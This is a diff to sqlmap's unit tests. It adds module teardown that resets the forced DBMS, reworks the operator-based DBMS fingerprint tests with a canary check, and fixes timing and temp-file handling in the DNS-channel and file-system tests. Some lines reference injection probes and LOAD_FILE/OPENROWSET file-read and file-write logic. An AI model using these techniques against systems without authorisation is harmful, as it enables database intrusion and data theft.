from lib.core.common import chunkSplitPostData
|
||||||
random.seed(123)
|
|
||||||
# regardless of content, the chunked stream must end with the zero-length terminator
|
# regardless of content, the chunked stream must end with the zero-length terminator
|
||||||
|
# (assertion is seed-independent, so don't touch the global RNG)
|
||||||
self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n"))
|
self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n"))
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -1714,3 +1716,7 @@ class TestCheckOldOptions(unittest.TestCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main(verbosity=2)
|
unittest.main(verbosity=2)
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -21,7 +21,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
|
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
|
|
@ -765,3 +765,7 @@ class TestDatabasesBruteForce(_DbBase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -24,7 +24,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
|
|
@ -720,3 +720,7 @@ class TestHSQLDBEnum(_EnumBaseB):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -20,7 +20,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
|
|
@ -105,3 +105,7 @@ class TestForgeUnionQuery(unittest.TestCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main(verbosity=2)
|
unittest.main(verbosity=2)
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -4,13 +4,13 @@
|
||||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth
|
Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth table:
|
||||||
table: the (xor, intdiv, pgcast, bitor) operator signatures measured across 11 live engines
|
the full 5-probe (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) operator signatures measured across the live
|
||||||
on an OWASP-CRS test platform, asserting that _classify() maps each to the expected back-end
|
SQL engines on an OWASP-CRS test platform, asserting _classify() maps each EXACT signature to the
|
||||||
DBMS - and, just as importantly, that the engines whose signatures collide or are ambiguous
|
expected back-end DBMS via its whitelist - and, just as importantly, that anything else (an
|
||||||
map to None (no prior), so the heuristic never wrong-foots detection. The end-to-end behaviour
|
unmeasured engine, an ambiguous signature, or a physically-impossible / noise signature) maps to
|
||||||
(the probes producing these signatures through a real boolean injection) is exercised against
|
None, so the heuristic never wrong-foots detection. The end-to-end behaviour (the probes producing
|
||||||
the live platform, not here.
|
these signatures through a real boolean injection) is exercised against the live platform, not here.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
|
@ -26,78 +26,80 @@ from lib.core.data import kb
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.utils.dialect import _classify
|
from lib.utils.dialect import _classify
|
||||||
from lib.utils.dialect import dialectCheckDbms
|
from lib.utils.dialect import dialectCheckDbms
|
||||||
|
from lib.utils.dialect import DIALECT_CANARY
|
||||||
|
|
||||||
# measured 2026-06 across the sqli-platform (boolean form "id=2 AND <probe>", anchor value 2);
|
# Full 5-probe signature (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) measured live -> expected DBMS.
|
||||||
# base signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2). The 5th probe (1<<2=4, bit-shift) is the MonetDB-vs-
|
# Every bit is significant now (whitelist): e.g. MySQL/PostgreSQL/... all have a working '<<', so
|
||||||
# SQL Server disambiguator and is asserted separately (SHIFT_SENSITIVE); for every other engine the
|
# shift=True is part of their signature; a one-bit-off variant is simply not a known fingerprint.
|
||||||
# shift flag does NOT change the classification, which the test proves by trying it both ways.
|
|
||||||
MEASURED = {
|
MEASURED = {
|
||||||
"mysql": ((True, False, False, True), DBMS.MYSQL),
|
"mysql": ((True, False, False, True, True), DBMS.MYSQL),
|
||||||
"mysql5": ((True, False, False, True), DBMS.MYSQL),
|
"mysql5": ((True, False, False, True, True), DBMS.MYSQL),
|
||||||
"tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible
|
"tidb": ((True, False, False, True, True), DBMS.MYSQL), # MySQL wire-compatible
|
||||||
"postgres": ((False, True, True, True), DBMS.PGSQL),
|
"postgres": ((False, True, True, True, True), DBMS.PGSQL),
|
||||||
"cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division)
|
"cockroach": ((False, True, False, True, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division, has '<<')
|
||||||
"cratedb": ((False, True, True, True), DBMS.PGSQL), # pgwire family
|
"cratedb": ((False, True, True, True, False), DBMS.PGSQL), # pgwire family (no '<<')
|
||||||
"sqlite": ((False, False, True, True), DBMS.SQLITE),
|
"mssql": ((True, False, True, True, False), DBMS.MSSQL), # '^' XOR, integer division, NO bit-shift
|
||||||
|
"monetdb": ((True, False, True, True, True), DBMS.MONETDB), # shares MSSQL base but HAS '<<'
|
||||||
|
"sqlite": ((False, False, True, True, True), DBMS.SQLITE),
|
||||||
# not distinctive enough -> deliberately no prior (operators alone can't safely separate these)
|
# not distinctive enough -> deliberately no prior (operators alone can't safely separate these)
|
||||||
"firebird": ((False, False, True, False), None),
|
"firebird": ((False, False, True, False, False), None),
|
||||||
"hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2
|
"hsqldb": ((False, False, True, False, False), None), # collides with firebird/derby/h2/trino
|
||||||
"derby": ((False, False, True, False), None),
|
"derby": ((False, False, True, False, False), None),
|
||||||
"h2": ((False, False, True, False), None),
|
"h2": ((False, False, True, False, False), None),
|
||||||
"trino": ((False, False, True, False), None),
|
"trino": ((False, False, True, False, False), None),
|
||||||
"iris": ((False, False, False, False), None), # all-error, like Oracle/broken channel
|
"iris": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel
|
||||||
"clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel
|
"clickhouse": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel
|
||||||
}
|
|
||||||
|
|
||||||
# engines whose full 5-probe signature (incl. 1<<2=4) is needed because they share base-4 (xor,intdiv)
|
|
||||||
# and only the bit-shift probe separates them: SQL Server has no shift operator, MonetDB does.
|
|
||||||
SHIFT_SENSITIVE = {
|
|
||||||
"mssql": ((True, False, True, True, False), DBMS.MSSQL),
|
|
||||||
"monetdb": ((True, False, True, True, True), DBMS.MONETDB),
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
class TestDialectClassification(unittest.TestCase):
|
class TestDialectClassification(unittest.TestCase):
|
||||||
def test_shift_sensitive_engines_split_correctly(self):
|
def test_measured_engines_map_as_expected(self):
|
||||||
# MonetDB shared MSSQL's (xor, intdiv) signature exactly (a false positive before the shift
|
# each engine's exact measured 5-probe signature maps to its expected DBMS (or None)
|
||||||
# probe); 1<<2=4 (MonetDB only) now separates them.
|
for engine, (signature, expected) in MEASURED.items():
|
||||||
for engine, (signature, expected) in SHIFT_SENSITIVE.items():
|
|
||||||
self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine)
|
self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine)
|
||||||
|
|
||||||
def test_measured_engines_map_as_expected(self):
|
def test_shift_splits_monetdb_from_mssql(self):
|
||||||
# for non-shift-sensitive engines the shift flag is irrelevant: assert BOTH values map to the
|
# MonetDB shares MSSQL's (xor, intdiv) base exactly (a false positive before the shift probe);
|
||||||
# expected DBMS (proves the new probe never perturbs the existing classifications).
|
# 1<<2=4 (MonetDB has it, SQL Server never does) is the sole separator.
|
||||||
for engine, (base, expected) in MEASURED.items():
|
self.assertEqual(_classify((True, False, True, True, False)), DBMS.MSSQL)
|
||||||
for shift in (False, True):
|
self.assertEqual(_classify((True, False, True, True, True)), DBMS.MONETDB)
|
||||||
self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift))
|
|
||||||
|
|
||||||
def test_no_false_positive_across_measured_set(self):
|
def test_whitelist_is_exact_no_false_positive(self):
|
||||||
# non-collision property: every measured engine maps to EXACTLY its expected DBMS (or None),
|
# only the measured classifying signatures may yield a DBMS; everything else -> None.
|
||||||
# never to some other back-end. The shift flag is irrelevant for these (non-shift-sensitive)
|
classifying = set(sig for sig, exp in MEASURED.values() if exp is not None)
|
||||||
# engines, so assert it both ways.
|
produced = set(exp for _, exp in MEASURED.values() if exp is not None)
|
||||||
for engine, (base, expected) in MEASURED.items():
|
self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.MONETDB, DBMS.SQLITE})
|
||||||
for shift in (False, True):
|
# exhaustively sweep all 32 signatures: a non-None result is allowed ONLY for a measured one
|
||||||
result = _classify(base + (shift,))
|
for bits in range(32):
|
||||||
self.assertEqual(result, expected, "engine %r misclassified (shift=%s): got %r, expected %r" % (engine, shift, result, expected))
|
sig = tuple(bool(bits & (1 << i)) for i in range(5))
|
||||||
# the only non-None DBMS priors the measured set can yield (sanity on the mapping itself)
|
result = _classify(sig)
|
||||||
produced = set(expected for _, expected in MEASURED.values() if expected is not None)
|
if sig not in classifying:
|
||||||
self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE})
|
self.assertIsNone(result, "unmeasured signature %r wrongly mapped to %r" % (sig, result))
|
||||||
|
|
||||||
|
def test_all_true_noise_is_rejected(self):
|
||||||
|
# a channel that reads EVERY probe true (a static/reflected page, or a WAF/false-positive
|
||||||
|
# oracle) produces the all-true signature - physically impossible ('^' cannot be XOR and
|
||||||
|
# exponentiation at once). It must NOT be guessed (previously it mis-read as PostgreSQL).
|
||||||
|
self.assertIsNone(_classify((True, True, True, True, True)))
|
||||||
|
|
||||||
def test_all_error_signature_yields_no_prior(self):
|
def test_all_error_signature_yields_no_prior(self):
|
||||||
# an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not
|
# an all-error signature (Oracle, ClickHouse, IRIS, or a WAF-blocked channel) is not
|
||||||
# distinctive enough - it must NOT be guessed as any DBMS
|
# distinctive - it must NOT be guessed as any DBMS
|
||||||
self.assertIsNone(_classify((False, False, False, False, False)))
|
self.assertIsNone(_classify((False, False, False, False, False)))
|
||||||
self.assertIsNone(_classify((False, False, False, False, True)))
|
self.assertIsNone(_classify((False, False, False, False, True)))
|
||||||
|
|
||||||
def test_pgpow_dominates_as_postgres_marker(self):
|
def test_pgpow_alone_is_not_enough(self):
|
||||||
# exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour
|
# exponentiation '^' is a PostgreSQL marker, but pgpow ALONE no longer classifies: the full
|
||||||
self.assertEqual(_classify((False, True, True, True, False)), DBMS.PGSQL)
|
# signature must match a measured PostgreSQL fingerprint (this is what stops the all-true noise
|
||||||
self.assertEqual(_classify((False, True, False, True, False)), DBMS.PGSQL)
|
# from riding the old 'pgpow dominates' rule into a bogus PostgreSQL claim).
|
||||||
|
self.assertEqual(_classify((False, True, True, True, True)), DBMS.PGSQL) # real PostgreSQL
|
||||||
|
self.assertIsNone(_classify((True, True, False, False, False))) # pgpow set, but not a real signature
|
||||||
|
|
||||||
|
|
||||||
class TestDialectCheckDbmsGuard(unittest.TestCase):
|
class TestDialectCheckDbmsGuard(unittest.TestCase):
|
||||||
"""dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good
|
"""dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel,
|
||||||
channel, and None (no prior) whenever the channel is unreliable - the safety contract."""
|
and None (no prior) whenever the channel is unreliable - the safety contract, including the
|
||||||
|
canary that turns a trashy false-positive channel into a true negative."""
|
||||||
|
|
||||||
def _run(self, truth):
|
def _run(self, truth):
|
||||||
# truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection
|
# truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection
|
||||||
|
|
@ -111,11 +113,13 @@ class TestDialectCheckDbmsGuard(unittest.TestCase):
|
||||||
kb.injection = saved
|
kb.injection = saved
|
||||||
|
|
||||||
def test_identifies_mysql_on_good_channel(self):
|
def test_identifies_mysql_on_good_channel(self):
|
||||||
truth = {"2=2": True, "2=3": False, "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True}
|
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False,
|
||||||
|
"2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True}
|
||||||
self.assertEqual(self._run(truth), DBMS.MYSQL)
|
self.assertEqual(self._run(truth), DBMS.MYSQL)
|
||||||
|
|
||||||
def test_identifies_postgres_on_good_channel(self):
|
def test_identifies_postgres_on_good_channel(self):
|
||||||
truth = {"2=2": True, "2=3": False, "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True}
|
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False,
|
||||||
|
"2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True}
|
||||||
self.assertEqual(self._run(truth), DBMS.PGSQL)
|
self.assertEqual(self._run(truth), DBMS.PGSQL)
|
||||||
|
|
||||||
def test_none_on_blocked_channel(self):
|
def test_none_on_blocked_channel(self):
|
||||||
|
|
@ -124,7 +128,16 @@ class TestDialectCheckDbmsGuard(unittest.TestCase):
|
||||||
|
|
||||||
def test_none_on_static_channel(self):
|
def test_none_on_static_channel(self):
|
||||||
# a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None
|
# a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None
|
||||||
self.assertIsNone(self._run({"2=2": True, "2=3": True, "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True}))
|
self.assertIsNone(self._run({"2=2": True, "2=3": True, DIALECT_CANARY: True,
|
||||||
|
"2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True}))
|
||||||
|
|
||||||
|
def test_none_when_canary_reads_true(self):
|
||||||
|
# THE canary contract: a channel can look like a clean oracle (2=2 true, 2=3 false) and even
|
||||||
|
# yield a DBMS-shaped signature, but if the syntactically-invalid canary also reads TRUE the
|
||||||
|
# channel accepts garbage -> it is a false positive -> return None (true negative), never a DBMS.
|
||||||
|
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: True,
|
||||||
|
"2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} # would be MySQL
|
||||||
|
self.assertIsNone(self._run(truth))
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
|
||||||
|
|
@ -38,7 +38,7 @@ import time
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
|
|
@ -188,7 +188,7 @@ class _DnsCase(unittest.TestCase):
|
||||||
finally:
|
finally:
|
||||||
c.close()
|
c.close()
|
||||||
served[0] += len(chunk)
|
served[0] += len(chunk)
|
||||||
for _ in range(100):
|
for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner
|
||||||
with self.server._lock:
|
with self.server._lock:
|
||||||
if any(host.encode() in r for r in self.server._requests):
|
if any(host.encode() in r for r in self.server._requests):
|
||||||
break
|
break
|
||||||
|
|
@ -313,7 +313,7 @@ class TestDnsLabelInvariant(_DnsCase):
|
||||||
finally:
|
finally:
|
||||||
c.close()
|
c.close()
|
||||||
served[0] += len(chunk)
|
served[0] += len(chunk)
|
||||||
for _ in range(100):
|
for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner
|
||||||
with self.server._lock:
|
with self.server._lock:
|
||||||
matched = [r for r in self.server._requests if host.encode() in r]
|
matched = [r for r in self.server._requests if host.encode() in r]
|
||||||
if matched:
|
if matched:
|
||||||
|
|
@ -394,3 +394,7 @@ class TestDnsChannelDetection(_DnsCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main(verbosity=2)
|
unittest.main(verbosity=2)
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -27,7 +27,7 @@ import unittest
|
||||||
from collections import OrderedDict as _PlainOrderedDict
|
from collections import OrderedDict as _PlainOrderedDict
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap
|
from _testutils import bootstrap, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
|
|
@ -408,3 +408,7 @@ class TestReplication(unittest.TestCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main(verbosity=2)
|
unittest.main(verbosity=2)
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -26,7 +26,7 @@ import unittest
|
||||||
from collections import OrderedDict
|
from collections import OrderedDict
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap
|
from _testutils import bootstrap, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
|
|
@ -165,3 +165,7 @@ class TestJsonlContract(_JsonlDumpCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -22,7 +22,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
|
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
|
|
@ -800,3 +800,7 @@ class TestEntriesInference(_EntriesBase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -22,7 +22,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.data import conf, kb
|
from lib.core.data import conf, kb
|
||||||
|
|
@ -111,3 +111,7 @@ class TestOneShotErrorUse(unittest.TestCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main(verbosity=2)
|
unittest.main(verbosity=2)
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -25,10 +25,11 @@ logic fails the test. No live target / network / DBMS involved.
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
|
import tempfile
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.data import conf, kb
|
from lib.core.data import conf, kb
|
||||||
|
|
@ -108,7 +109,7 @@ class TestGenericFilesystem(_FsBase):
|
||||||
def test_fileEncode_reads_then_encodes(self):
|
def test_fileEncode_reads_then_encodes(self):
|
||||||
# fileEncode must read the file bytes and delegate to fileContentEncode
|
# fileEncode must read the file bytes and delegate to fileContentEncode
|
||||||
path = os.path.join(
|
path = os.path.join(
|
||||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_fe_%d.bin" % os.getpid())
|
tempfile.gettempdir(), "sqlmap_fe_%d.bin" % os.getpid())
|
||||||
with open(path, "wb") as f:
|
with open(path, "wb") as f:
|
||||||
f.write(b"hello")
|
f.write(b"hello")
|
||||||
try:
|
try:
|
||||||
|
|
@ -138,7 +139,7 @@ class TestGenericFilesystem(_FsBase):
|
||||||
# MySQL builds LENGTH(LOAD_FILE('<remote>')) and compares to local size.
|
# MySQL builds LENGTH(LOAD_FILE('<remote>')) and compares to local size.
|
||||||
set_dbms("MySQL")
|
set_dbms("MySQL")
|
||||||
path = os.path.join(
|
path = os.path.join(
|
||||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl_%d.bin" % os.getpid())
|
tempfile.gettempdir(), "sqlmap_cl_%d.bin" % os.getpid())
|
||||||
with open(path, "wb") as f:
|
with open(path, "wb") as f:
|
||||||
f.write(b"12345") # 5 bytes
|
f.write(b"12345") # 5 bytes
|
||||||
captured = {}
|
captured = {}
|
||||||
|
|
@ -159,7 +160,7 @@ class TestGenericFilesystem(_FsBase):
|
||||||
def test_checkFileLength_size_differs(self):
|
def test_checkFileLength_size_differs(self):
|
||||||
set_dbms("MySQL")
|
set_dbms("MySQL")
|
||||||
path = os.path.join(
|
path = os.path.join(
|
||||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl2_%d.bin" % os.getpid())
|
tempfile.gettempdir(), "sqlmap_cl2_%d.bin" % os.getpid())
|
||||||
with open(path, "wb") as f:
|
with open(path, "wb") as f:
|
||||||
f.write(b"12345") # local 5
|
f.write(b"12345") # local 5
|
||||||
self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9")
|
self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9")
|
||||||
|
|
@ -176,7 +177,7 @@ class TestGenericFilesystem(_FsBase):
|
||||||
# OPENROWSET-building branch runs in isolation.
|
# OPENROWSET-building branch runs in isolation.
|
||||||
set_dbms("Microsoft SQL Server")
|
set_dbms("Microsoft SQL Server")
|
||||||
path = os.path.join(
|
path = os.path.join(
|
||||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl3_%d.bin" % os.getpid())
|
tempfile.gettempdir(), "sqlmap_cl3_%d.bin" % os.getpid())
|
||||||
with open(path, "wb") as f:
|
with open(path, "wb") as f:
|
||||||
f.write(b"ABCD") # 4 bytes
|
f.write(b"ABCD") # 4 bytes
|
||||||
stacked = []
|
stacked = []
|
||||||
|
|
@ -205,7 +206,7 @@ class TestGenericFilesystem(_FsBase):
|
||||||
# non-positive remote size -> treated as "not written" -> sameFile False
|
# non-positive remote size -> treated as "not written" -> sameFile False
|
||||||
set_dbms("MySQL")
|
set_dbms("MySQL")
|
||||||
path = os.path.join(
|
path = os.path.join(
|
||||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl4_%d.bin" % os.getpid())
|
tempfile.gettempdir(), "sqlmap_cl4_%d.bin" % os.getpid())
|
||||||
with open(path, "wb") as f:
|
with open(path, "wb") as f:
|
||||||
f.write(b"x")
|
f.write(b"x")
|
||||||
self.patch(self.module.inject, "getValue", lambda q, *a, **k: None)
|
self.patch(self.module.inject, "getValue", lambda q, *a, **k: None)
|
||||||
|
|
@ -282,7 +283,7 @@ class TestGenericFilesystem(_FsBase):
|
||||||
# stackedWriteFile and return its result.
|
# stackedWriteFile and return its result.
|
||||||
set_dbms("MySQL")
|
set_dbms("MySQL")
|
||||||
path = os.path.join(
|
path = os.path.join(
|
||||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_wf_%d.bin" % os.getpid())
|
tempfile.gettempdir(), "sqlmap_wf_%d.bin" % os.getpid())
|
||||||
with open(path, "wb") as f:
|
with open(path, "wb") as f:
|
||||||
f.write(b"data")
|
f.write(b"data")
|
||||||
calls = {}
|
calls = {}
|
||||||
|
|
@ -733,3 +734,7 @@ class TestUDF(_FsBase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -18,7 +18,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.data import conf, kb
|
from lib.core.data import conf, kb
|
||||||
|
|
@ -93,12 +93,18 @@ class TestFingerprint(unittest.TestCase):
|
||||||
conf.batch = True
|
conf.batch = True
|
||||||
conf.extensiveFp = False
|
conf.extensiveFp = False
|
||||||
conf.api = False
|
conf.api = False
|
||||||
|
# _drive() stubs the SHARED lib.request.inject module (plugins do `from lib.request import inject`),
|
||||||
|
# so snapshot the originals and restore them, else stubbed getValue/checkBooleanExpression leak process-wide
|
||||||
|
import lib.request.inject as _inject
|
||||||
|
self._inject = _inject
|
||||||
|
self._inject_saved = (_inject.getValue, _inject.checkBooleanExpression)
|
||||||
|
|
||||||
def tearDown(self):
|
def tearDown(self):
|
||||||
for k, v in self._saved.items():
|
for k, v in self._saved.items():
|
||||||
conf[k] = v
|
conf[k] = v
|
||||||
for k, v in self._kb.items():
|
for k, v in self._kb.items():
|
||||||
kb[k] = v
|
kb[k] = v
|
||||||
|
self._inject.getValue, self._inject.checkBooleanExpression = self._inject_saved
|
||||||
|
|
||||||
def _drive(self, name, modpath, pkg, oracle):
|
def _drive(self, name, modpath, pkg, oracle):
|
||||||
set_dbms(name)
|
set_dbms(name)
|
||||||
|
|
@ -201,3 +207,7 @@ for _name, _mod, _pkg in TARGETS:
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -26,7 +26,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
